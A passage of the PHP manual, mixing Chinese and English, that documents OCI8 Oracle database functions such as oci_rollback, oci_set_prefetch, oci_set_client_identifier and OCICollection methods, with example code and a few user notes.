当使用 OCI_NO_AUTO_COMMIT flag 通过 oci_execute() 执行第一个更改数据的 SQL 语句时，事务开始。其他语句所做的后续数据更改成为同一事务的一部分。在事务提交或回滚之前，事务中所做的数据更改是临时的。在提交之前，数据库的其他用户将看不到更改。

插入或更新数据时，出于关系数据一致性和性能原因，建议使用事务。

参数

connection

oci_connect()、oci_pconnect() 或 oci_new_connect() 返回的 Oracle 连接标识符。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 oci_rollback() 示例

<?php

// Insert into several tables, rolling back the changes if an error occurs

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// The OCI_NO_AUTO_COMMIT flag tells Oracle not to commit the INSERT immediately
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
$e = oci_error($stid);
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
$e = oci_error($stid);
oci_rollback($conn); // rollback changes to both tables
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// Commit the changes to both tables
$r = oci_commit($conn);
if (!r) {
$e = oci_error($conn);
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

Example #2 回滚到 SAVEPOINT 示例

<?php
$stid = oci_parse($conn, 'UPDATE mytab SET id = 1111');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// Create the savepoint
$stid = oci_parse($conn, 'SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

$stid = oci_parse($conn, 'UPDATE mytab SET id = 2222');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// Use an explicit SQL statement to rollback to the savepoint
$stid = oci_parse($conn, 'ROLLBACK TO SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

oci_commit($conn); // mytab now has id of 1111
?>

注释

Note:

当关闭连接或脚本结束时，事务会自动回滚。需要显式调用 oci_commit() 提交事务。

Any call to oci_execute() that uses OCI_COMMIT_ON_SUCCESS mode explicitly or by default will commit any previous uncommitted transaction.

任何 Oracle DDL 语句（例如 CREATE 或 DROP）都会自动提交任何未提交的事务。

参见

  • oci_commit() - 提交未完成的数据库事务
  • oci_execute() - 执行语句

User Contributed Notes

There are no user contributed notes for this page.


返回 Oracle 数据库版本

  • ? oci_rollback
  • oci_set_action ?
  • PHP Manual
  • OCI8 函数
  • 返回 Oracle 数据库版本

oci_server_version

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_server_version — 返回 Oracle 数据库版本

说明

oci_server_version(resource $connection): string|false

以字符串返回 Oracle 数据库版本和可用选项。

参数

connection

返回值

以字符串返回版本信息，错误时为 false。

示例

Example #1 oci_server_version() 示例

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
echo "Server Version: " . oci_server_version($conn);

// Displays:
// Server Version: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
// With the Partitioning, OLAP, Data Mining and Real Application Testing option

oci_close($conn);

?>

参见

  • oci_client_version() - Returns the Oracle client library version

User Contributed Notes

Anonymous 27-Aug-2019 12:25
Here's now to extract just the major.minor version number:

<?php
$link = oci_new_connect($username, $password, $server, "AL32UTF8");
$server_info = oci_server_version($link);
$version = preg_replace('~^.* (\d+\.\d+)\.\d+\.\d+\.\d+.*~s', '\1', $server_info);

echo "$server_info<br>";
// Oracle Database 11g Release 11.2.0.4.0 - 64bit Production
echo "$version<br>";
// 11.2
?>

And here's how to look up version via SQL:

https://www.oracle.com/pls/topic/lookup?ctx=db122&id=ADMIN11039

SELECT * FROM PRODUCT_COMPONENT_VERSION;

PRODUCT                                  VERSION     STATUS
---------------------------------------- ----------- -----------
NLSRTL                                   12.1.0.0.1  Production
Oracle Database 12c Enterprise Edition   12.1.0.0.1  Production
PL/SQL                                   12.1.0.0.1  Production
?>


Sets the action name

  • ? oci_server_version
  • oci_set_call_timeout ?
  • PHP Manual
  • OCI8 函数
  • Sets the action name

oci_set_action

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_action — Sets the action name

说明

oci_set_action(resource $connection, string $action): bool

Sets the action name for Oracle tracing.

The action name is registered with the database when the next 'round-trip' from PHP to the database occurs, typically when an SQL statement is executed.

The action name can subsequently be queried from database administration views such as V$SESSION. It can be used for tracing and monitoring such as with V$SQLAREA and DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE.

The value may be retained across persistent connections.

参数

connection

Oracle 连接标识，由 oci_connect()，oci_pconnect()，或 oci_new_connect() 返回。

action

User chosen string up to 32 bytes long.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Setting the action

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the action
oci_set_action($c, 'Friend Lookup');

// Code that causes a round-trip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// While the script is running, the administrator can see the actions
// being performed:

sqlplus system/welcome
SQL> select action from v$session;

注释

Note: Oracle 版本需求

当 PHP 是与 Oracle 数据库 10g 及更新版本的 扩展库链接时，此函数可用。

Tip

性能

使用旧版的 OCI8 或 ORACLE 数据库，可使用 Oracle DBMS_APPLICATION_INFO 包来设置客户端信息。这比使用 oci_set_client_info() 较低效。

Caution

Roundtrip Gotcha

一些 OCI8 函数会导致 Roundtrips. 对数据库来说当启用结果缓存时，查询可能不产生 Roundtrips。

参见

  • oci_set_module_name() - Sets the module name
  • oci_set_client_info() - Sets the client information
  • oci_set_client_identifier() - Sets the client identifier
  • oci_set_db_operation() - Sets the database operation

User Contributed Notes

There are no user contributed notes for this page.


Sets a millisecond timeout for database calls

  • ? oci_set_action
  • oci_set_client_identifier ?
  • PHP Manual
  • OCI8 函数
  • Sets a millisecond timeout for database calls

oci_set_call_timeout

(PHP 7.2 >= 7.2.14, PHP 8, PHP 7 >= 7.3.1, PHP 8, PECL OCI8 >= 2.2.0)

oci_set_call_timeout — Sets a millisecond timeout for database calls

说明

oci_set_call_timeout(resource $connection, int $timeout): bool

Sets a timeout limiting the maxium time a database round-trip using this connection may take.

Each OCI8 operation may make zero or more calls to Oracle's client library. These internal calls may then may make zero or more round-trips to Oracle Database. If any one of those round-trips takes more than time_out milliseconds, then the operation is cancelled and an error is returned to the application.

The time_out value applies to each round-trip individually, not to the sum of all round-trips. Time spent processing in PHP OCI8 before or after the completion of each round-trip is not counted.

When a call is interrupted, Oracle will attempt to clean up the connection for reuse. This operation is allowed to run for another time_out period. Depending on the outcome of the cleanup, the connection may or may not be reusable.

When persistent connections are used, the timeout value will be retained across PHP requests.

The oci_set_call_timeout() function is available when OCI8 uses Oracle 18 (or later) Client libraries.

参数

connection

Oracle 连接标识，由 oci_connect()，oci_pconnect()，或 oci_new_connect() 返回。

timeout

The maximum time in milliseconds that any single round-trip between PHP and Oracle Database may take.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Setting the timeout

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
oci_set_call_timeout($conn, 5000);

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the client identifier

  • ? oci_set_call_timeout
  • oci_set_client_info ?
  • PHP Manual
  • OCI8 函数
  • Sets the client identifier

oci_set_client_identifier

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_client_identifier — Sets the client identifier

说明

oci_set_client_identifier(resource $connection, string $client_id): bool

Sets the client identifier used by various database components to identify lightweight application users who authenticate as the same database user.

The client identifier is registered with the database when the next 'round-trip' from PHP to the database occurs, typically when an SQL statement is executed.

The identifier can subsequently be queried, for example with SELECT SYS_CONTEXT('USERENV','CLIENT_IDENTIFIER') FROM DUAL. Database administration views such as V$SESSION will also contain the value. It can be used with DBMS_MONITOR.CLIENT_ID_TRACE_ENABLE for tracing and can also be used for auditing.

The value may be retained across page requests that use the same persistent connection.

参数

connection

Oracle 连接标识，由 oci_connect()，oci_pconnect()，或 oci_new_connect() 返回。

client_id

User chosen string up to 64 bytes long.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Setting the client identifier to the application user

<?php

// Find the application user's login name
session_start();
$un = my_validate_session($_SESSION['username']);
$c = oci_connect('myschema', 'welcome', 'localhost/XE');

// Tell Oracle who that user is
oci_set_client_identifier($c, $un);

// The next round-trip to the database will piggyback the identifier
$s = oci_parse($c, 'select mydata from mytable');
oci_execute($s);

// ...

?>

注释

Caution

Roundtrip Gotcha

一些 OCI8 函数会导致 Roundtrips. 对数据库来说当启用结果缓存时，查询可能不产生 Roundtrips。

参见

  • oci_set_module_name() - Sets the module name
  • oci_set_action() - Sets the action name
  • oci_set_client_info() - Sets the client information
  • oci_set_db_operation() - Sets the database operation

User Contributed Notes

sixd at php dot net 18-Apr-2011 04:22
There's an article "PHP Web Auditing, Authorization and Monitoring with Oracle Database" at www.oracle.com/technetwork/articles/dsl/php-web-auditing-171451.html which is all about using oci_set_client_identifier()


Sets the client information

  • ? oci_set_client_identifier
  • oci_set_db_operation ?
  • PHP Manual
  • OCI8 函数
  • Sets the client information

oci_set_client_info

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_client_info — Sets the client information

说明

oci_set_client_info(resource $connection, string $client_info): bool

Sets the client information for Oracle tracing.

The client information is registered with the database when the next 'round-trip' from PHP to the database occurs, typically when an SQL statement is executed.

The client information can subsequently be queried from database administration views such as V$SESSION.

The value may be retained across persistent connections.

参数

connection

Oracle 连接标识，由 oci_connect()，oci_pconnect()，或 oci_new_connect() 返回。

client_info

User chosen string up to 64 bytes long.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Setting the client information

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the client information
oci_set_client_info($c, 'My Application Version 2');

// Code that causes a round-trip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// While the script is running, the administrator can see the client
// information:

sqlplus system/welcome
SQL> select client_info from v$session;

注释

Note: Oracle 版本需求

当 PHP 是与 Oracle 数据库 10g 及更新版本的 扩展库链接时，此函数可用。

Tip

性能

使用旧版的 OCI8 或 ORACLE 数据库，可使用 Oracle DBMS_APPLICATION_INFO 包来设置客户端信息。这比使用 oci_set_client_info() 较低效。

Caution

Roundtrip Gotcha

一些 OCI8 函数会导致 Roundtrips. 对数据库来说当启用结果缓存时，查询可能不产生 Roundtrips。

参见

  • oci_set_module_name() - Sets the module name
  • oci_set_action() - Sets the action name
  • oci_set_client_identifier() - Sets the client identifier
  • oci_set_db_operation() - Sets the database operation

User Contributed Notes

There are no user contributed notes for this page.


Sets the database operation

  • ? oci_set_client_info
  • oci_set_edition ?
  • PHP Manual
  • OCI8 函数
  • Sets the database operation

oci_set_db_operation

(PHP 7 >= 7.2.14, PHP 8, PHP 7 >= 7.3.1, PHP 8, PECL OCI8 >= 2.2.0)

oci_set_db_operation — Sets the database operation

说明

oci_set_db_operation(resource $connection, string $action): bool

Sets the DBOP for Oracle tracing.

The database operation name is registered with the database when the next 'round-trip' from PHP to the database occurs, typically when a SQL statement is executed.

The database operation can subsequently be queried from database administration views such as V$SQL_MONITOR.

The oci_set_db_operation() function is available when OCI8 uses Oracle 12 (or later) Client libraries and Oracle Database 12 (or later).

参数

connection

Oracle 连接标识，由 oci_connect()，oci_pconnect()，或 oci_new_connect() 返回。

action

User chosen string.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Setting the DBOP

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the operation
oci_set_db_operation($c, 'main query');

// Code that causes a round-trip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// While the script is running, the administrator can see the database operations
// being performed:

sqlplus system/welcome
SQL> select dbop_name from v$sql_monitor;

注释

Caution

Roundtrip Gotcha

一些 OCI8 函数会导致 Roundtrips. 对数据库来说当启用结果缓存时，查询可能不产生 Roundtrips。

参见

  • oci_set_action() - Sets the action name
  • oci_set_module_name() - Sets the module name
  • oci_set_client_info() - Sets the client information
  • oci_set_client_identifier() - Sets the client identifier

User Contributed Notes

There are no user contributed notes for this page.


Sets the database edition

  • ? oci_set_db_operation
  • oci_set_module_name ?
  • PHP Manual
  • OCI8 函数
  • Sets the database edition

oci_set_edition

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_edition — Sets the database edition

说明

oci_set_edition(string $edition): bool

Sets the database "edition" of objects to be used by a subsequent connections.

Oracle Editions allow concurrent versions of applications to run using the same schema and object names. This is useful for upgrading live systems.

Call oci_set_edition() before calling
oci_connect(), oci_pconnect()
or oci_new_connect().

If an edition is set that is not valid in the database, connection will fail even if oci_set_edition() returns success.

When using persistent connections, if a connection with the requested edition setting already exists, it is reused. Otherwise, a different persistent connection is created

参数

edition

Oracle Database edition name previously created with the SQL "CREATE EDITION" command.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Two scripts can use different versions of myfunc() at the same time

<?php

// File 1

echo "Version 1 of application\n";

oci_set_edition('ORA$BASE');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "The result is $r\n";

?>
<?php

// File 2

echo "Version 2 of application\n";

oci_set_edition('E1');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "The result is $r\n";

?>

注释

Note: Oracle version requirement

This function is available from Oracle 11gR2 onwards.

Caution

Persistent connections

To avoid inconsistencies and unexpected errors, do not use ALTER SESSION SET EDITION to change the edition on persistent connections.

Caution

DRCP Connection Pooling

To avoid inconsistencies and unexpected errors when using editions and DRCP with Oracle 11.2.0.1, keep a one-to-one correspondence between the oci8.connection_class and the edition name used by applications. Each pooled server of a given connection class should only be used with one edition. This restriction has been removed with Oracle 11.2.0.2.

User Contributed Notes

There are no user contributed notes for this page.


Sets the module name

  • ? oci_set_edition
  • oci_set_prefetch_lob ?
  • PHP Manual
  • OCI8 函数
  • Sets the module name

oci_set_module_name

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_module_name — Sets the module name

说明

oci_set_module_name(resource $connection, string $name): bool

Sets the module name for Oracle tracing.

The module name is registered with the database when the next 'round-trip' from PHP to the database occurs, typically when an SQL statement is executed.

The name can subsequently be queried from database administration views such as V$SESSION. It can be used for tracing and monitoring such as with V$SQLAREA and DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE.

The value may be retained across persistent connections.

参数

connection

Oracle 连接标识，由 oci_connect()，oci_pconnect()，或 oci_new_connect() 返回。

name

User chosen string up to 48 bytes long.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Setting the module name

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the module
oci_set_module_name($c, 'Home Page');

// Code that causes a round-trip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);
?>
// While the script is running, the administrator can see the
// modules in use:

sqlplus system/welcome
SQL> select module from v$session;

注释

Note: Oracle 版本需求

当 PHP 是与 Oracle 数据库 10g 及更新版本的 扩展库链接时，此函数可用。

Tip

性能

使用旧版的 OCI8 或 ORACLE 数据库，可使用 Oracle DBMS_APPLICATION_INFO 包来设置客户端信息。这比使用 oci_set_client_info() 较低效。

Caution

Roundtrip Gotcha

一些 OCI8 函数会导致 Roundtrips. 对数据库来说当启用结果缓存时，查询可能不产生 Roundtrips。

参见

  • oci_set_action() - Sets the action name
  • oci_set_client_info() - Sets the client information
  • oci_set_client_identifier() - Sets the client identifier
  • oci_set_db_operation() - Sets the database operation

User Contributed Notes

There are no user contributed notes for this page.


Sets the amount of data prefetched for each CLOB or BLOB.

  • ? oci_set_module_name
  • oci_set_prefetch ?
  • PHP Manual
  • OCI8 函数
  • Sets the amount of data prefetched for each CLOB or BLOB.

oci_set_prefetch_lob

(PHP 8.2, PECL OCI8 >= 3.2)

oci_set_prefetch_lob — Sets the amount of data prefetched for each CLOB or BLOB.

说明

oci_set_prefetch_lob(resource $statement, int $prefetch_lob_size): bool

Sets the internal buffer size used to fetch each CLOB or BLOB value when the implementation gets the internal Oracle LOB locator from the database after a successful query call to oci_execute() and for each subsequent internal fetch request to the database. Increasing this value can improve the performance of fetching smaller LOBs by reducing round-trips between PHP and the database. Memory usage will change.

The value affects LOBs returned as OCILob instances and also those returned using OCI_RETURN_LOBS.

Call oci_set_prefetch_lob() before calling oci_execute(). If it is not called, the value of oci8.prefetch_lob_size is used.

The LOB prefetch value should only be set with Oracle Database 12.2 or later.

参数

statement

有效的 OCI8 报表标识符 由 oci_parse() 创建，被 oci_execute() 或 REF CURSOR statement 标识执行。

prefetch_lob_size

The number of bytes of each LOB to be prefetched, >= 0

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Changing the LOB prefetch value for a query

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT myclob FROM mytable');
oci_set_prefetch_lob($stid, 100000); // Set before calling oci_execute()
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS+OCI_RETURN_LOBS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

参见

  • oci8.prefetch_lob_size ini option

User Contributed Notes

There are no user contributed notes for this page.


设置查询预读取的行数

  • ? oci_set_prefetch_lob
  • oci_statement_type ?
  • PHP Manual
  • OCI8 函数
  • 设置查询预读取的行数

oci_set_prefetch

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_set_prefetch — 设置查询预读取的行数

说明

oci_set_prefetch(resource $statement, int $rows): bool

在调用 oci_execute() 成功查询以及对数据库的每个后续内部读取请求之后，设置 Oracle 客户端库缓冲的行数。对于返回大量行的查询，可以通过在默认 oci8.default_prefetch 值上增加预读取数来显着提高性能。

预读取是 Oracle 在每个网络请求中从数据库返回多个数据行的有效方式。这可以提高网络和 CPU 利用率。行缓冲是 OCI8 的内部操作，无论预取数如何，OCI8 提取函数的行为都不会改变。例如，oci_fetch_row() 将始终返回一行。预读取缓冲区是针对单个语句的，不会被重新执行的语句或其他连接使用。

在调用 oci_execute() 之前调用 oci_set_prefetch()。

调整目标是将预读取值设置为网络和数据库要处理的合理大小。对于返回大量行的查询，如果以多个块的形式从数据库中检索行（即设置预读取值小于行数），则整体系统效率可能会更好。这允许数据库在 PHP 脚本处理行的当前集合的同时处理其他用户的语句。

Oracle 8i 中引入了查询预读取。REF CURSOR 预读取是在 Oracle 11gR2 中引入的，当 PHP 与 Oracle 11gR2（或更高版本）客户端库链接时发生。嵌套游标预读取是在 Oracle 11gR2 中引入的，它要求 Oracle Client 库和数据库都是 11gR2 或更高版本。

当查询包含 LONG 或 LOB 列时，不支持预读取。预读取值将会忽略，并且在不支持预读取的所有情况下都将使用单行获取。

使用 Oracle Database 12c 时，PHP 设置的预读取值可以被 Oracle 的客户端 oraaccess.xml 配置文件覆盖。有关详细信息，请参阅 Oracle 文档。

参数

statement

有效的 OCI8 报表标识符 由 oci_parse() 创建，被 oci_execute() 或 REF CURSOR statement 标识执行。

rows

要预读取的行数，>= 0

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 更改查询的默认预读取值

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM myverybigtable');
oci_set_prefetch($stid, 300); // 调用 oci_execute() 之前设置
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 更改 REF CURSOR 获取的默认预获取值

<?php
/*
Create the PL/SQL stored procedure as:

CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
BEGIN
OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Change the prefetch before executing the cursor.
// REF CURSOR prefetching works when PHP is linked with Oracle 11gR2 or later Client libraries
oci_set_prefetch($refcur, 200);
oci_execute($refcur);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

如果 PHP OCI8 从 REF CURSOR 读取，然后将 REF CURSOR 传递回第二个 PL/SQL 过程以进行进一步处理，则将 REF CURSOR 预读取数设置为 0 以避免行从结果集中"丢失"。预读取值是在每个 OCI8 内部请求数据库中提取的额外行数，因此将其设置为 0 意味着一次只提取一行。

Example #3 将 REF CURSOR 传回 Oracle 时设置读取值

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/orcl');

// get the REF CURSOR
$stid = oci_parse($conn, 'BEGIN myproc(:rc_out); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc_out', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Display two rows, but don't prefetch any extra rows otherwise
// those extra rows would not be passed back to myproc_use_rc().
// A prefetch value of 0 is allowed in PHP 5.3.2 and PECL OCI8 1.4
oci_set_prefetch($refcur, 0);
oci_execute($refcur);
$row = oci_fetch_array($refcur);
var_dump($row);
$row = oci_fetch_array($refcur);
var_dump($row);

// pass the REF CURSOR to myproc_use_rc() to do more data processing
// with the result set
$stid = oci_parse($conn, 'begin myproc_use_rc(:rc_in); end;');
oci_bind_by_name($stid, ':rc_in', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

?>

参见

  • oci8.default_prefetch ini 选项

User Contributed Notes

bmichael at goldparrot dot com 04-Jan-2003 03:00
If your are using Oracle's OCI libraries, on any project, which PHP does, you can use this limit.

I have done network level testing on the effect of this parameter.  It does improved efficiency.  Big Time.

Oracle uses SQL*Net as the transport mechanism for data between your connection and the database.  That is why you must setup Oracle properly.

This parameter tells SQL*NET to Buffer more results.  When SQL*NET (at the server) gets a request for data, it bundles up X rows (1,2,3,1000, etc) for transport.  It sends the appropriate SQL*NET headers back to the client, Waits for an ACK then begins sending data in MTU sized chunks (ethernet is something like 1500 bytes and ATM's WANS are around 1000 bytes).  The chunk size can also be tuned in SQL*NET, but with much less improvements.

TCP/IP then takes the data across the wire, breaking it up into multiple TCP/IP packets.

Once the exchange is done, the SQL*NET client sends an
ACK back to the SQL*NET Listener (the Oracle Server) and the transaction is complete.

Each round trip, SQL*NET looks up inside the server memory (UGA - user global area) to find the query results. It then grabs the rows necessary to send.  If it is one row, versus 1000 rows.  The process is the same.

There is much I could tell you on how the Database itself reacts.  If you can significantly lessen the amount of round trips you are making... WOW.

For more info on Oracle OCI go to http://otn.oracle.com


返回语句的类型

  • ? oci_set_prefetch
  • oci_unregister_taf_callback ?
  • PHP Manual
  • OCI8 函数
  • 返回语句的类型

oci_statement_type

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_statement_type — 返回语句的类型

说明

oci_statement_type(resource $statement): string|false

返回关键字，标识 OCI8 statement 的类型。

参数

statement

来自 oci_parse() 的有效 OCI8 语句标识符。

返回值

返回 statement 类型，可能为以下字符串之一。

语句类型
返回字符串 | 说明
ALTER |
BEGIN |
CALL |
CREATE |
DECLARE |
DELETE |
DROP |
INSERT |
SELECT |
UPDATE |
UNKNOWN |

错误时返回 false。

示例

Example #1 oci_statement_type() 示例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'DELETE FROM departments WHERE department_id = 130;');
if (oci_statement_type($stid) == "DELETE") {
trigger_error('You are not allowed to delete from this table', E_USER_ERROR);
}
else {
oci_execute($stid); // delete the row
}

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

There are no user contributed notes for this page.


Unregister a user-defined callback function for Oracle Database TAF

  • ? oci_statement_type
  • OCICollection ?
  • PHP Manual
  • OCI8 函数
  • Unregister a user-defined callback function for Oracle Database TAF

oci_unregister_taf_callback

(PHP 7.0 >= 7.0.23, PHP 8, PHP 7 >= 7.1.9, PHP 8, PECL OCI8 >= 2.1.7)

oci_unregister_taf_callback — Unregister a user-defined callback function for Oracle Database TAF

说明

oci_unregister_taf_callback(resource $connection): bool

Unregister the user-defined callback function registered to connection by oci_register_taf_callback(). See OCI8 Transparent Application Failover (TAF) Support for information.

参数

connection

An Oracle connection identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • oci_register_taf_callback() - Register a user-defined callback function for Oracle Database TAF

User Contributed Notes

There are no user contributed notes for this page.


The OCICollection class

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

简介

OCI8 Collection functionality.

Note:

The OCI-Collection class was renamed to OCICollection in PHP 8 OCI8 3.0.0 to align with PHP naming standards.

类摘要

class OCICollection {
/* 方法 */
public append(string $value): bool
public assign(OCICollection $from): bool
public assignElem(int $index, string $value): bool
public free(): bool
public getElem(int $index): string|float|null|false
public max(): int|false
public size(): int|false
public trim(int $num): bool
}

Table of Contents

  • OCICollection::append — Appends element to the collection
  • OCICollection::assign — Assigns a value to the collection from another existing collection
  • OCICollection::assignElem — Assigns a value to the element of the collection
  • OCICollection::free — Frees the resources associated with the collection object
  • OCICollection::getElem — Returns value of the element
  • OCICollection::max — Returns the maximum number of elements in the collection
  • OCICollection::size — Returns size of the collection
  • OCICollection::trim — Trims elements from the end of the collection

User Contributed Notes

There are no user contributed notes for this page.


Appends element to the collection

  • ? OCICollection
  • OCICollection::assign ?
  • PHP Manual
  • OCICollection
  • Appends element to the collection

OCICollection::append

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::append — Appends element to the collection

说明

public OCICollection::append(string $value): bool

Appends element to the end of the collection.

参数

value

The value to be added to the collection.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Collection class was renamed to OCICollection to align with PHP naming standards.

参见

  • OCICollection::assign

User Contributed Notes

There are no user contributed notes for this page.


Assigns a value to the collection from another existing collection

  • ? OCICollection::append
  • OCICollection::assignElem ?
  • PHP Manual
  • OCICollection
  • Assigns a value to the collection from another existing collection

OCICollection::assign

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::assign — Assigns a value to the collection from another existing collection

说明

public OCICollection::assign(OCICollection $from): bool

Assigns a value to the collection from another, previously created collection. Both collections must be created with oci_new_collection() prior to using them.

参数

from

An instance of OCICollection.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Collection class was renamed to OCICollection to align with PHP naming standards.

参见

  • OCICollection::append

User Contributed Notes

There are no user contributed notes for this page.


Assigns a value to the element of the collection

  • ? OCICollection::assign
  • OCICollection::free ?
  • PHP Manual
  • OCICollection
  • Assigns a value to the element of the collection

OCICollection::assignElem

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::assignElem — Assigns a value to the element of the collection

说明

public OCICollection::assignElem(int $index, string $value): bool

Assigns a value to the element with index index.

参数

index

The element index. First index is 0.

value

Can be a string or a number.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Collection class was renamed to OCICollection to align with PHP naming standards.

参见

  • OCICollection::getElem

User Contributed Notes

There are no user contributed notes for this page.


Frees the resources associated with the collection object

  • ? OCICollection::assignElem
  • OCICollection::getElem ?
  • PHP Manual
  • OCICollection
  • Frees the resources associated with the collection object

OCICollection::free

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::free — Frees the resources associated with the collection object

说明

public OCICollection::free(): bool

Frees the resources associated with the collection object.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Collection class was renamed to OCICollection to align with PHP naming standards.

参见

  • oci_new_collection

User Contributed Notes

There are no user contributed notes for this page.


Returns value of the element

  • ? OCICollection::free
  • OCICollection::max ?
  • PHP Manual
  • OCICollection
  • Returns value of the element

OCICollection::getElem

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::getElem — Returns value of the element

说明

public OCICollection::getElem(int $index): string|float|null|false

Returns element's value with the index index (0-based).

参数

index

The element index. First index is 0.

返回值

